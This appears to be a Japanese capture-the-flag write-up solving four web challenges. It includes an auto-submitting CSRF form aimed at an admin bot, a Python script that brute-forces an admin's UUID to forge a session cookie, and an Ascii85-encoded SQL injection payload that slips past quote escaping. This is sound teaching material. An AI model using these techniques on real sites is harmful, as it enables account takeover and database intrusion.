[web] college-tour
Burp Suiteを開いて、サイトを巡回して、ソースコードを眺める。
lactf{number_text}
という形でフラグがちりばめられているらしい。
拡張機能のLogger++を入れて抜き出してこよう。
Grep Valuesで適当にlactf\{[^\}]*\}
を入れて持ってくる。
lactf{number_text} lactf{1_lOsT} lactf{2__!N_b} lactf{3_03LT3r} lactf{lOsT_!N_b03LT3r} lactf{1_j03_4} lactf{2_nd_j0} lactf{4_n3_bR} lactf{6_AY_hi} lactf{5_U1n_s} lactf{3_S3phI}
1,2,3が複数あるが、とりあえず後半に固まっている1~6の文字部分をくっつけて
送ると正答。
[web] metaverse
AdminBotが与えられているのでXSS方面で探していていたが…違った。
あと、見た目に反して異様にsolve数が多かったが、
これはtest:testで入ると誰かがフラグを獲得していたからとみられる…
accounts.set("admin", { password: adminpw, displayName: flag, posts: [], friends: [], });
重要なのはadminのdisplayNameにflagが与えられているので、これを表示させたい。
displayNameが使われている所を探すと、
app.get("/friends", needsAuth, (req, res) => { res.type("application/json"); res.send( JSON.stringify( accounts .get(res.locals.user) .friends.filter((username) => accounts.has(username)) .map((username) => ({ username, displayName: accounts.get(username).displayName, })) ) ); });
のように、友達登録されている人のdisplayNameは見られるらしい。
なので、adminに対して自分を友達登録させればいい。
ここまで来るとXSSというより、CSRFだったんだなという感じになる。
CSRF対策も特にされてないので、POST /friend
を踏ませればいい。
<form id="friend" method="post" action="https://metaverse.lac.tf/friend"> <input type="text" name="username" value="fjsadkfjsidji235jire"> <input type="submit" value="Submit"> </form> <script> friend.submit(); </script>
[web] uuid hell
あまりよく理解してないが、UUIDの生成部分を見ると色々カスタム設定されている。
function randomUUID() { return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100}); }
試しに同じルールで手元で作ってみる。
267cdf40-aa8a-11ed-aa64-67696e6b6f69 267da290-aa8a-11ed-aa64-67696e6b6f69 267da291-aa8a-11ed-aa64-67696e6b6f69 267da292-aa8a-11ed-aa64-67696e6b6f69 267da293-aa8a-11ed-aa64-67696e6b6f69 267dc9a0-aa8a-11ed-aa64-67696e6b6f69 267dc9a1-aa8a-11ed-aa64-67696e6b6f69 267dc9a2-aa8a-11ed-aa64-67696e6b6f69 267dc9a3-aa8a-11ed-aa64-67696e6b6f69 267df0b0-aa8a-11ed-aa64-67696e6b6f69
短時間で作るとかなり偏りがあるが、かぶることはないみたい。
適当に全探索範囲を限定しながら探索すると、管理者のuuidを特定できた。
以下のようなソルバーを回すと回答が得られる
import requests import re import hashlib URL = 'https://uuid-hell.lac.tf/' requests.post(URL + 'createadmin') rawtext = requests.get(URL).text myid = re.findall(r'You are logged in as ([0-9a-f\-]*)', rawtext)[0] print(myid) md5s = re.findall(r'[0-9a-f]{32}', rawtext) admins = md5s[:50] users = md5s[50:] chars = '0123456789abcdef' for c1 in chars: for c2 in chars: print('..' + c1 + c2 + '???....') for c3 in chars: for c4 in chars: for c5 in chars: for c6 in chars: for c7 in chars: challenge = myid[:1] + c1 + c2 + c3 + c4 + c5 + c6 + c7 + myid[8:] #print(challenge + ' vs ' + myid) h = hashlib.md5(('admin'+challenge).encode()).hexdigest() if h in admins: print('Found! ->' + challenge) print(requests.get(URL, cookies={'id': challenge}).text) exit(0) mymd5 = hashlib.md5(myid.encode()).hexdigest() print(mymd5) if mymd5 in users: print('OK!')
[web] 85_reasons_why
フラグが明確には書いていないが、SQL Injectionできそうな箇所がviews.pyにあった。
入力も普通に外部から渡せそう。
@app.route('/image-search', methods=['GET', 'POST']) def image_search(): if 'image-query' not in request.files or request.method == 'GET': return render_template('image-search.html', results=[]) incoming_file = request.files['image-query'] size = os.fstat(incoming_file.fileno()).st_size if size > MAX_IMAGE_SIZE: flash("image is too large (50kb max)"); return redirect(url_for('home')) spic = serialize_image(incoming_file.read()) try: res = db.session.connection().execute(\ text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic))) except Exception: return ("SQL error encountered", 500) ...
入力はserialize_imageによって変換処理がかかっている。
Ascii85 - Wikipediaというエンコーディングらしい。
def serialize_image(pp): b85 = base64.a85encode(pp) b85_string = b85.decode('UTF-8', 'ignore') # identify single quotes, and then escape them b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string) b85_string = re.sub('\'', '\'\'', b85_string) b85_string = re.sub('~', '\'', b85_string) b85_string = re.sub('\\:', '~', b85_string) return b85_string
文字種はかなりあり、print(base64.a85encode(b'\x15\x09\xfb').decode('UTF-8', 'ignore'))
とやればシングルクオートも作れる。
なんとなく文字は作れそうなので、後半の変換を回避することを考える。
~ OR 1=1 --
がうまくいきそうだが、~はちょうどAscii85にない。
なので、最初の変換を使って\\\\\\' OR 1=1 --
とすればいいよさそうだが、変換過程でスペースが消えてしまう。
だが、これはspace2commentで回避可能。
あとは変換でおかしくならないように適当にやると\\\\\\'/**/OR/**/1=1 -- d
が最終的な答えになる。
From Base85, To Hex - CyberChefTo_Hex('%5C%5Cx',0)&input=XFxcXFxcJy8qKi9PUi8qKi8xPTEgLS0gZA)
このようにpayloadをつくる。
echo -en "\xb9\xc2\x0a\x5f\xb7\xcc\x5c\x7d\x2d\x43\xbb\xdc\x1c\x85\xa8\x1b\x25\xce" > payload.bin
こうやってバイナリにして、POST /image-search
に送り付けると、
\\\\\\'/**/OR/**/1=1--c
となって、条件を恒真にできる。
するとフラグが入ったポストが現れる。